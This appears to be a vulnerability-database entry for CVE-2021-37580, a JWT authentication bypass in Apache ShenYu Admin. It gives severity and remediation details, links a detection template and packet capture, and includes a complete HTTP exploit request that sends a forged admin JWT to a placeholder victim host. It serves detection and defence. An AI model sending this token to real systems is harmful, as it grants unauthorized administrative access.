🔙 목록으로 돌아가기

CVE-2021-37580: Apache ShenYu Admin JWT - Authentication Bypass

TitleApache ShenYu Admin JWT - Authentication Bypass
Authorpdteam
SeverityCritical
ImpactThis vulnerability can lead to unauthorized access to sensitive information, modification of data, and potential compromise of the entire Apache ShenYu system.
RemediationApply the patch or upgrade to the latest version of Apache ShenYu to fix the authentication bypass vulnerability.
CVSS Score9.8
EPSS Score0.93993
CVE IDCVE-2021-37580
CWE IDCWE-287
Tags cve2021 cve apache jwt shenyu vkev vuln

🔍 Vulnerability Description

Apache ShenYu 2.3.0 and 2.4.0 allow Admin access without proper authentication. The incorrect use of JWT in ShenyuAdminBootstrap allows an attacker to bypass authentication.

🌐 HTTP Request

GET /dashboardUser HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Connection: close
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwiZXhwIjoxNjM3MjY1MTIxfQ.-jjw2bGyQxna5Soe4fLVLaD3gUT5ALTcsvutPQoE2qk
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-37580.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-37580.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A